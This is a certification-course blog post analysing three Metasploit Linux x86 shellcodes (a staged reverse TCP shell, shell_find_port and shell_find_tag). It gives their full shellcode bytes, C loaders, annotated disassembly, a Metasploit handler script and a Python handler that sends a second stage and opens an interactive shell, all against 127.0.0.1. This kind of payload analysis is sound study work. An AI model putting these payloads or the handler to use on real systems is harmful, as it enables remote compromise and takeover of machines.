SLAE Assignment 5 - MsfVenom Shellcodes Analysis

14 minute read

Introduction

This is the fifth post of the SLAE exam assignments serie.

The goal of this assignement is to dissect and present an analysis of at least three msfvenom shellcodes.

All the source code for this assignment can be found on my github repository

Staged payload analysis

In this assignment, I set the goal for myself to study how a staged payload is implemented and how to handle it manually.

So the payloads I’ve chosen are :

- linux/x86/shell/reverse_tcp
- linux/x86/shell_find_port
- linux/x86/shell_find_tag

linux/x86/shell/reverse_tcp

To begin, we need to generate the payload and we will set it to connect to the loopback address on port 1337 :

root@kali:~# msfvenom -p linux/x86/shell/reverse_tcp LHOST=127.0.0.1 LPORT=1337 -f c 
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 123 bytes
Final size of c file: 543 bytes
unsigned char buf[] = 
"\x6a\x0a\x5e\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89"
"\xe1\xcd\x80\x97\x5b\x68\x7f\x00\x00\x01\x68\x02\x00\x05\x39"
"\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x85\xc0"
"\x79\x19\x4e\x74\x3d\x68\xa2\x00\x00\x00\x58\x6a\x00\x6a\x05"
"\x89\xe3\x31\xc9\xcd\x80\x85\xc0\x79\xbd\xeb\x27\xb2\x07\xb9"
"\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd"
"\x80\x85\xc0\x78\x10\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80"
"\x85\xc0\x78\x02\xff\xe1\xb8\x01\x00\x00\x00\xbb\x01\x00\x00"
"\x00\xcd\x80";

Then we insert it in this c code :

#include<stdio.h>
#include<string.h>

unsigned char payload[] = \
"\x6a\x0a\x5e\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89"
"\xe1\xcd\x80\x97\x5b\x68\x7f\x00\x00\x01\x68\x02\x00\x05\x39"
"\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x85\xc0"
"\x79\x19\x4e\x74\x3d\x68\xa2\x00\x00\x00\x58\x6a\x00\x6a\x05"
"\x89\xe3\x31\xc9\xcd\x80\x85\xc0\x79\xbd\xeb\x27\xb2\x07\xb9"
"\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd"
"\x80\x85\xc0\x78\x10\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80"
"\x85\xc0\x78\x02\xff\xe1\xb8\x01\x00\x00\x00\xbb\x01\x00\x00"
"\x00\xcd\x80";

int main()
{

	printf("Payload Length:  %d\n", strlen(payload));

	int (*ret)() = (int(*)())payload;

	ret();

}

We compile it and run it with gdb :

root@kali:~# gcc -fno-stack-protector -z execstack shellcode.c -o staged-reverse-tcp
root@kali:~# gdb ./staged-reverse-tcp

Now my analysis of the first stage payload and the gdb commands I’ve used to see its assembly code :

(gdb) set disassembly-flavor intel 
(gdb) break *&payload
(gdb) run
(gdb) disas

   ; Init ESI like a loop counter to retry to connect if an error occurs
=> 0x00404040 <+0>:	push   0xa
   0x00404042 <+2>:	pop    esi		      ; set ESI to 10

   ; socketcall(SYS_SOCKET, *socketargs)
   ; socket(AF_INET, SOCK_STREAM, 0)
   ; return sockfd in EAX and store it in EDI
   0x00404043 <+3>:	xor    ebx,ebx
   0x00404045 <+5>:	mul    ebx		      ; set EAX,EBX,EDX to 0

   0x00404047 <+7>:	push   ebx		      ; push Null Pointer
   0x00404048 <+8>:	inc    ebx		      ; Set EBX to 1
						      ; used to push SOCK_STREAM value
						      ; and for SYS_SOCKET socketcall type
   0x00404049 <+9>:	push   ebx                    ; SOCK_STREAM
   0x0040404a <+10>:	push   0x2 		      ; AF_INET
   0x0040404c <+12>:	mov    al,0x66	              ; set eax to socketcall value
   0x0040404e <+14>:	mov    ecx,esp		      ; Point ECX to socket() arguments
   0x00404050 <+16>:	int    0x80
   0x00404052 <+18>:	xchg   edi,eax		      ; Save sockfd in EDI

   ; socketcall(SYS_CONNECT, *connectargs)
   ; connect(sockfd, *sockaddr, addrlen)
   ; sockaddr{AF_INET, port, ip_address}
   0x00404053 <+19>:	pop    ebx		      ; set ebx to 2 (SYS_BIND socketcall type)
   0x00404054 <+20>:	push   0x100007f	      ; push chosen IP address (127.0.0.1)
   0x00404059 <+25>:	push   0x39050002	      ; push chosen port (1337) and AF_INET
   0x0040405e <+30>:	mov    ecx,esp                ; set ECX to *sockaddr 
   0x00404060 <+32>:	push   0x66			
   0x00404062 <+34>:	pop    eax		      ; set eax to socketcall value
   0x00404063 <+35>:	push   eax		      ; push 0x66 for addrlen
   0x00404064 <+36>:	push   ecx		      ; push *sockaddr
   0x00404065 <+37>:	push   edi		      ; push sockfd
   0x00404066 <+38>:	mov    ecx,esp		      ; Point ECX to connect() arguments
   0x00404068 <+40>:	inc    ebx		      ; set EBX to SYS_CONNECT
   0x00404069 <+41>:	int    0x80		      
 
   0x0040406b <+43>:	test   eax,eax		      ; EAX AND EAX operation, update the signed flag (SF)
						      ; here it is used to test if an error occured
						      ; it is also equivalent and faster than "cmp eax, 0"
   0x0040406d <+45>:	jns    0x404088 <payload+72>  ; jump if SF = 0 (if the connection succeeds)

   0x0040406f <+47>:	dec    esi		      ; if the shellcode can't connect
						      ; decrement the ESI counter
   0x00404070 <+48>:	je     0x4040af <payload+111> ; if ESI = 0, jump to exit syscall

   ; man nanosleep
   ; int nanosleep(const struct timespec *req, struct timespec *rem);
   ; Here suspends the execution for the time specified in *req 
   ; before retrying to connect
   0x00404072 <+50>:	push   0xa2		      
   0x00404077 <+55>:	pop    eax                    ; nanosleep syscall number
   0x00404078 <+56>:	push   0x0                    ; 0 nanoseconds
   0x0040407a <+58>:	push   0x5                    ; 5 seconds
   0x0040407c <+60>:	mov    ebx,esp                ; struct timespec pointer
   0x0040407e <+62>:	xor    ecx,ecx                ; Null pointer
   0x00404080 <+64>:	int    0x80

   0x00404082 <+66>:	test   eax,eax                ; test if an error occured
   0x00404084 <+68>:	jns    0x404043 <payload+3>   ; if no error, retry to connect
   0x00404086 <+70>:	jmp    0x4040af <payload+111> ; else jump to exit syscall

   ; man mprotect 
   ; int mprotect(void *addr, size_t len, int prot);
   ; used to set the access protection of the page to which 
   ; belongs the memory address of the top of the stack to RWX
   ; return 0 on success
   0x00404088 <+72>:	mov    dl,0x7		      ; set EDX to Read Write Exec permission value
   0x0040408a <+74>:	mov    ecx,0x1000             ; set ECX to memory page length
   0x0040408f <+79>:	mov    ebx,esp                ; copy stack address to EBX

   0x00404091 <+81>:	shr    ebx,0xc                ; Page alignment, set the last 12bits of EBX to 0
   0x00404094 <+84>:	shl    ebx,0xc		      ; EBX now point to the first byte of the page to which
						      ; belongs the memory address of the top of the stack
   0x00404097 <+87>:	mov    al,0x7d                ; mprotect syscall number
   0x00404099 <+89>:	int    0x80

   0x0040409b <+91>:	test   eax,eax                ; test if an error occured
   0x0040409d <+93>:	js     0x4040af <payload+111> ; On error jump to exit syscall

   ; man read
   ; ssize_t read(int fd, void *buf, size_t count);
   ; Used to read count bytes from fd into the buffer pointed by *buf
   ; It will read from sockfd the second stage payload and copy it 
   ; at the memory address of the top of the stack
   0x0040409f <+95>:	pop    ebx		      ; EBX set to 5 
						      ; last push at 0x0040407a
   0x004040a0 <+96>:	mov    ecx,esp		      ; ECX point to the top of the stack
   0x004040a2 <+98>:	cdq                           ; set EDX to 0
   0x004040a3 <+99>:	mov    dh,0xc                 ; count (EDX) set to 3072
   0x004040a5 <+101>:	mov    al,0x3		      ; read syscall number
   0x004040a7 <+103>:	int    0x80

   0x004040a9 <+105>:	test   eax,eax                ; test if an error occured
   0x004040ab <+107>:	js     0x4040af <payload+111> ; On error jump to exit syscall

   0x004040ad <+109>:	jmp    ecx		      ; else jump to ECX 
						      ; that point to the second stage payload code

   ; exit(1)
   0x004040af <+111>:	mov    eax,0x1                ; exit syscall number
   0x004040b4 <+116>:	mov    ebx,0x1                ; exit return value
   0x004040b9 <+121>:	int    0x80

Then using the following metasploit script, we launch msfconsole to handle it before continuing in gdb :

root@kali:~# cat staged-reverse.rc 
use exploit/multi/handler
set payload linux/x86/shell/reverse_tcp
set lhost 127.0.0.1
set lport 1337
exploit -j -z

msfconsole -r staged-reverse.rc

And finally we come back to analyse the second stage payload :

(gdb) break *0x004040ad			//   0x004040ad <+109>:	jmp    ecx
(gdb) continue
(gdb) x/19i $ecx


   0xbffff284:	mov    ebx,edi        ; set EBX to sockfd
				      ; Remember it was saved in EDI in the first stage	
	
   0xbffff286:	push   0x2   
   0xbffff288:	pop    ecx	      ; ECX set to 2

   ; dup2 loop to overwrite stdin/stdout/stderr with sockfd
   0xbffff289:	push   0x3f           
   0xbffff28b:	pop    eax	      ; dup2 syscall number
   0xbffff28c:	int    0x80

   0xbffff28e:	dec    ecx            ; decrement ECX
   0xbffff28f:	jns    0xbffff289     ; jump to next dup2 if ECX >= 0 

   ; execve("/bin//sh", ["/bin//sh"], null)
   0xbffff291:	push   0xb	      
   0xbffff293:	pop    eax            ; execve syscall number
   0xbffff294:	cdq                   ; set EDX to 0
   0xbffff295:	push   edx	      ; push string terminator
   0xbffff296:	push   0x68732f2f     ; //sh	
   0xbffff29b:	push   0x6e69622f     ; /bin    
   0xbffff2a0:	mov    ebx,esp        ; EBX point to /bin//sh

   0xbffff2a2:	push   edx            ; push null
   0xbffff2a3:	push   ebx            ; push string address
   0xbffff2a4:	mov    ecx,esp	      ; ECX point to ["/bin//sh", null]
   0xbffff2a6:	int    0x80	      

So we have seen that the linux/x86/shell/reverse_tcp payload implements some sort of errors handling on each syscall, exiting properly if an error occurs. Its normal operation is as follow, it try up to ten times to connect to the specified ip address and port.
On success, it set read, write, execute permission on the memory page whose belongs the memory address of the top of the stack, then it read the second stage payload from the remote host and copy it into memory starting at the stack top address. Finally it jump to the second stage payload to execute it, here, the payload send by metasploit retrieve the sockfd because it know in which register it is saved, then it use a dup2(sockfd,…) loop/execve(“/bin//sh”) payload.

linux/x86/shell_find_port

Its description in msfvenom is : Spawn a shell on an established connection So it need to be used in a context where there is already an opened connection to our host, to reuse this connection and spawn a shell on it. It made me think of a second stage payload, it’s why I’ve chosen it.

So in a first time, we need to generate it and we will set the port to find to 1337 :

root@kali:~# msfvenom -p linux/x86/shell_find_port cport=1337 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 62 bytes
Final size of c file: 287 bytes
unsigned char buf[] = 
"\x31\xdb\x53\x89\xe7\x6a\x10\x54\x57\x53\x89\xe1\xb3\x07\xff"
"\x01\x6a\x66\x58\xcd\x80\x66\x81\x7f\x02\x05\x39\x75\xf1\x5b"
"\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b"
"\xcd\x80";

Then we copy/paste it into this C code :

#include<stdio.h>
#include<string.h>

unsigned char payload[] = \
"\x31\xdb\x53\x89\xe7\x6a\x10\x54\x57\x53\x89\xe1\xb3\x07\xff"
"\x01\x6a\x66\x58\xcd\x80\x66\x81\x7f\x02\x05\x39\x75\xf1\x5b"
"\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b"
"\xcd\x80";

int main()
{

	printf("Payload Length:  %d\n", strlen(payload));

	int (*ret)() = (int(*)())payload;

	ret();

}

We compile it and run it with gdb :

root@kali:~# gcc -fno-stack-protector -z execstack shellcode.c -o shell-find-port
root@kali:~# gdb ./shell-find-port 

And we break at the start of the payload and look at its instructions : Note that it will crash if we run it, it’s just to see the instructions.

(gdb) set disassembly-flavor intel 
(gdb) break *&payload
(gdb) run
(gdb) disas

   ; socketcall(SYS_GETPEERNAME, *getpeername_args)
   ; getpeername(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
   ; 
   ; getpeername will write to *addr the information about the peer connected to sockfd if it is a valid file descriptor
=> 0x00404040 <+0>:	xor    ebx,ebx                    ; set EBX to 0
   0x00404042 <+2>:	push   ebx			  ; push 0

   0x00404043 <+3>:	mov    edi,esp			  ; EDI will point to the memory address 
							  ; before the getpeername arguments

   0x00404045 <+5>:	push   0x10			  ; push the struct sockaddr length
   0x00404047 <+7>:	push   esp                        ; push *addrlen 
   0x00404048 <+8>:	push   edi                        ; push *addr 
   0x00404049 <+9>:	push   ebx                        ; push 0 for sockfd 
   0x0040404a <+10>:	mov    ecx,esp                    ; set ECX point to getpeername arguments
   0x0040404c <+12>:	mov    bl,0x7			  ; SYS_GETPEERNAME type

   ; Start of getpeername loop used to find the file descriptor of the connection to reuse 
   0x0040404e <+14>:	inc    DWORD PTR [ecx]            ; increment sockfd value 
   0x00404050 <+16>:	push   0x66
   0x00404052 <+18>:	pop    eax			  ; EAX set to socketcall number
   0x00404053 <+19>:	int    0x80                       ; execute socketcall

   0x00404055 <+21>:	cmp    WORD PTR [edi+0x2],0x3905  ; compare sockaddr.sin_port with 1337
   0x0040405b <+27>:	jne    0x40404e <payload+14>      ; if not equal, go to the next iteration of the getpeername loop   

   ; Connection found !
   ; Initializing and starting dup2 loop to overwrite stdin/out/err with sockfd
   0x0040405d <+29>:	pop    ebx			  ; EBX set to sockfd
   0x0040405e <+30>:	push   0x2                        
   0x00404060 <+32>:	pop    ecx			  ; ECX set to 2
   0x00404061 <+33>:	mov    al,0x3f                    ; dup2 syscall number
   0x00404063 <+35>:	int    0x80

   0x00404065 <+37>:	dec    ecx			  ; decrement ECX
   0x00404066 <+38>:	jns    0x404061 <payload+33>      ; jump if ECX >= 0

   ; Standard execve("/bin//sh", ["/bin/sh", null], null)
   0x00404068 <+40>:	push   eax			  ; string terminator, because dup2(sockfd, 0) return 0 on success
   0x00404069 <+41>:	push   0x68732f2f		  
   0x0040406e <+46>:	push   0x6e69622f                 ; "/bin//sh"
   0x00404073 <+51>:	mov    ebx,esp                    ; EBX point to "/bin//sh"
   0x00404075 <+53>:	push   eax                        ; null pointer
   0x00404076 <+54>:	push   ebx                        ; push pointer "/bin//sh"
   0x00404077 <+55>:	mov    ecx,esp                    ; ECX points to argv tab
   0x00404079 <+57>:	cdq                               ; set EDX to 0, null pointer 
   0x0040407a <+58>:	mov    al,0xb                     ; execve syscall
   0x0040407c <+60>:	int    0x80

We can see that this payload can retrieve a specific opened connection by using a loop to use the getpeername syscall with all possible value for a file descriptor without looking if the syscall is successfull, until it find the sockfd that is connected to a peer on the specified port. Then it overwrite stdin/stdout/stderr with the sockfd and pop a shell on the connection.

Now we will see a second payload that can be used like a second stage payload, this time, using a tag to find a specific opened connection.

linux/x86/shell_find_tag

I’ve chosen this one for the same reason as the previous one, and because it implements a different technique.

So in a first time, we need to generate it and we will set the tag to find to SLAE :

root@kali:~# msfvenom -p linux/x86/shell_find_tag TAG=SLAE -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 69 bytes
Final size of c file: 315 bytes
unsigned char buf[] = 
"\x31\xdb\x53\x89\xe6\x6a\x40\xb7\x0a\x53\x56\x53\x89\xe1\x86"
"\xfb\x66\xff\x01\x6a\x66\x58\xcd\x80\x81\x3e\x53\x4c\x41\x45"
"\x75\xf0\x5f\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79"
"\xf8\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

Like always, we copy/paste it into this C code :

#include<stdio.h>
#include<string.h>

unsigned char payload[] = \
"\x31\xdb\x53\x89\xe6\x6a\x40\xb7\x0a\x53\x56\x53\x89\xe1\x86"
"\xfb\x66\xff\x01\x6a\x66\x58\xcd\x80\x81\x3e\x53\x4c\x41\x45"
"\x75\xf0\x5f\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79"
"\xf8\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

int main()
{

	printf("Payload Length:  %d\n", strlen(payload));

	int (*ret)() = (int(*)())payload;

	ret();

}

We compile it and run it with gdb :

root@kali:~# gcc -fno-stack-protector -z execstack shellcode.c -o shell-find-tag
root@kali:~# gdb ./shell-find-tag 

Then we break at the start of the payload and look at its instructions :

(gdb) set disassembly-flavor intel 
(gdb) break *&payload
(gdb) run
(gdb) disas

   ; socketcall(SYS_RECV, *recv_arguments)
   ; recv(int sockfd, void *buf, size_t len, int flags)
   ; used to receive message from the socket sockfd, and place it in the buffer *buf of length len 
=> 0x00404040 <+0>:	xor    ebx,ebx                    ; EBX set to 0
   0x00404042 <+2>:	push   ebx			  ; push 0

   0x00404043 <+3>:	mov    esi,esp                    ; ESI will point to the memory address 
							  ; before the arguments of recv
 
   0x00404045 <+5>:	push   0x40                       ; push flag MSG_DONTWAIT /* Nonblocking IO.  */
							  ; From man recv "if the operation would block, the call fails"
   0x00404047 <+7>:	mov    bh,0xa			  
   0x00404049 <+9>:	push   ebx                        ; push len argument => 0xa00 bytes
   0x0040404a <+10>:	push   esi                        ; push pointer to the buffer
   0x0040404b <+11>:	push   ebx                        ; push sockfd argument
   0x0040404c <+12>:	mov    ecx,esp                    ; ECX point to the arguments of recv
   0x0040404e <+14>:	xchg   bl,bh                      ; SYS_RECV (EBX = 0xa)

   ; Start of recv loop used to find the file descriptor of the connection to reuse  
   0x00404050 <+16>:	inc    WORD PTR [ecx]             ; increment sockfd to try to recv from the next file descriptor
   0x00404053 <+19>:	push   0x66
   0x00404055 <+21>:	pop    eax		          ; socketcall number
   0x00404056 <+22>:	int    0x80                       ; execute socketcall

   0x00404058 <+24>:	cmp    DWORD PTR [esi],0x45414c53 ; compare the value pointed by ESI (recv *buf) with our tag SLAE 
   0x0040405e <+30>:	jne    0x404050 <payload+16>      ; if not equal, go to the next iteration of the recv loop

   ; Connection found !
   0x00404060 <+32>:	pop    edi			  ; Save the good sockfd in EDI  

   ; dup2 loop and execve(/bin//sh) below
   ; I will not comment it, if you don't understand the instructions
   ; I invite you to look the previous payloads analysis and/or the previous posts of this serie 
   0x00404061 <+33>:	mov    ebx,edi                  
   0x00404063 <+35>:	push   0x2
   0x00404065 <+37>:	pop    ecx
   0x00404066 <+38>:	push   0x3f
   0x00404068 <+40>:	pop    eax
   0x00404069 <+41>:	int    0x80
   0x0040406b <+43>:	dec    ecx
   0x0040406c <+44>:	jns    0x404066 <payload+38>
   0x0040406e <+46>:	push   0xb
   0x00404070 <+48>:	pop    eax
   0x00404071 <+49>:	cdq    
   0x00404072 <+50>:	push   edx
   0x00404073 <+51>:	push   0x68732f2f
   0x00404078 <+56>:	push   0x6e69622f
   0x0040407d <+61>:	mov    ebx,esp
   0x0040407f <+63>:	push   edx
   0x00404080 <+64>:	push   ebx
   0x00404081 <+65>:	mov    ecx,esp
   0x00404083 <+67>:	int    0x80

So we can see that this payload is very similar to the previous one, it use almost the same loop to run through all possible file descriptor numbers and to overwrite the standard I/O and pop a shell with execve syscall. The only difference is that it use the recv syscall to try to read datas from the file descriptor then to compare them with the specified tag.

Manualy handling staged payloads

Finally to learn how to handle staged payload manualy I’ve done the following Python script, It was much simpler than what I was thinking before starting this assignement :

#!/usr/bin/python3

import socket
import time
import argparse

find_port = b"\x31\xdb\x53\x89\xe7\x6a\x10\x54\x57\x53\x89\xe1\xb3\x07\xff\x01\x6a\x66\x58\xcd\x80\x66\x81\x7f\x02\x05\x39\x75\xf1\x5b\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

find_tag = b"\x31\xdb\x53\x89\xe6\x6a\x40\xb7\x0a\x53\x56\x53\x89\xe1\x86\xfb\x66\xff\x01\x6a\x66\x58\xcd\x80\x81\x3e\x53\x4c\x41\x45\x75\xf0\x5f\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
tag = b"SLAE"

parser = argparse.ArgumentParser()
parser.add_argument("type", choices=["port","tag"], help="Find specific port or tag")
args = parser.parse_args()

if args.type == "port": 
    payload = find_port
else :
    payload = find_tag


sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)

ip = "127.0.0.1"
port = 1337
sock.bind((ip, port))

sock.listen(1)
print("[x] Started reverse handler on {}:{}".format(ip, port))

conn, address = sock.accept()
print("[x] Connection established from {}".format(address[0]))

print("[x] Sending second stage ({} bytes) to {}".format(len(payload),address[0]))
conn.send(payload)
time.sleep(1)

if args.type == "tag":
    print("[x] Sending tag '{}'".format(tag.decode()))
    conn.send(tag)

while True:
    cmd = input("# ")
    conn.send(cmd.encode() + b"\n")

    if cmd == "exit":
        conn.close()
        sock.close()
        break

    rep = conn.recv(1024);
    print(rep.decode(), end="")

And I’ve used the linux/x86/shell/reverse_tcp binary from the first analysis. Here is an example with the shell_find_tag payload :

In the first terminal prompt

root@kali:~# ./staged-handler.py tag
[x] Started reverse handler on 127.0.0.1:1337
[x] Connection established from 127.0.0.1
[x] Sending second stage (69 bytes) to 127.0.0.1
[x] Sending tag 'SLAE'
# id
uid=0(root) gid=0(root) groups=0(root)

And in the second, (we can note an error on the payload size because it contains null bytes)

root@kali:~# ./staged-reverse-tcp 
Payload Length:  22

And… This is the end, thank you if you have read so far :)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
Student ID: PA-14186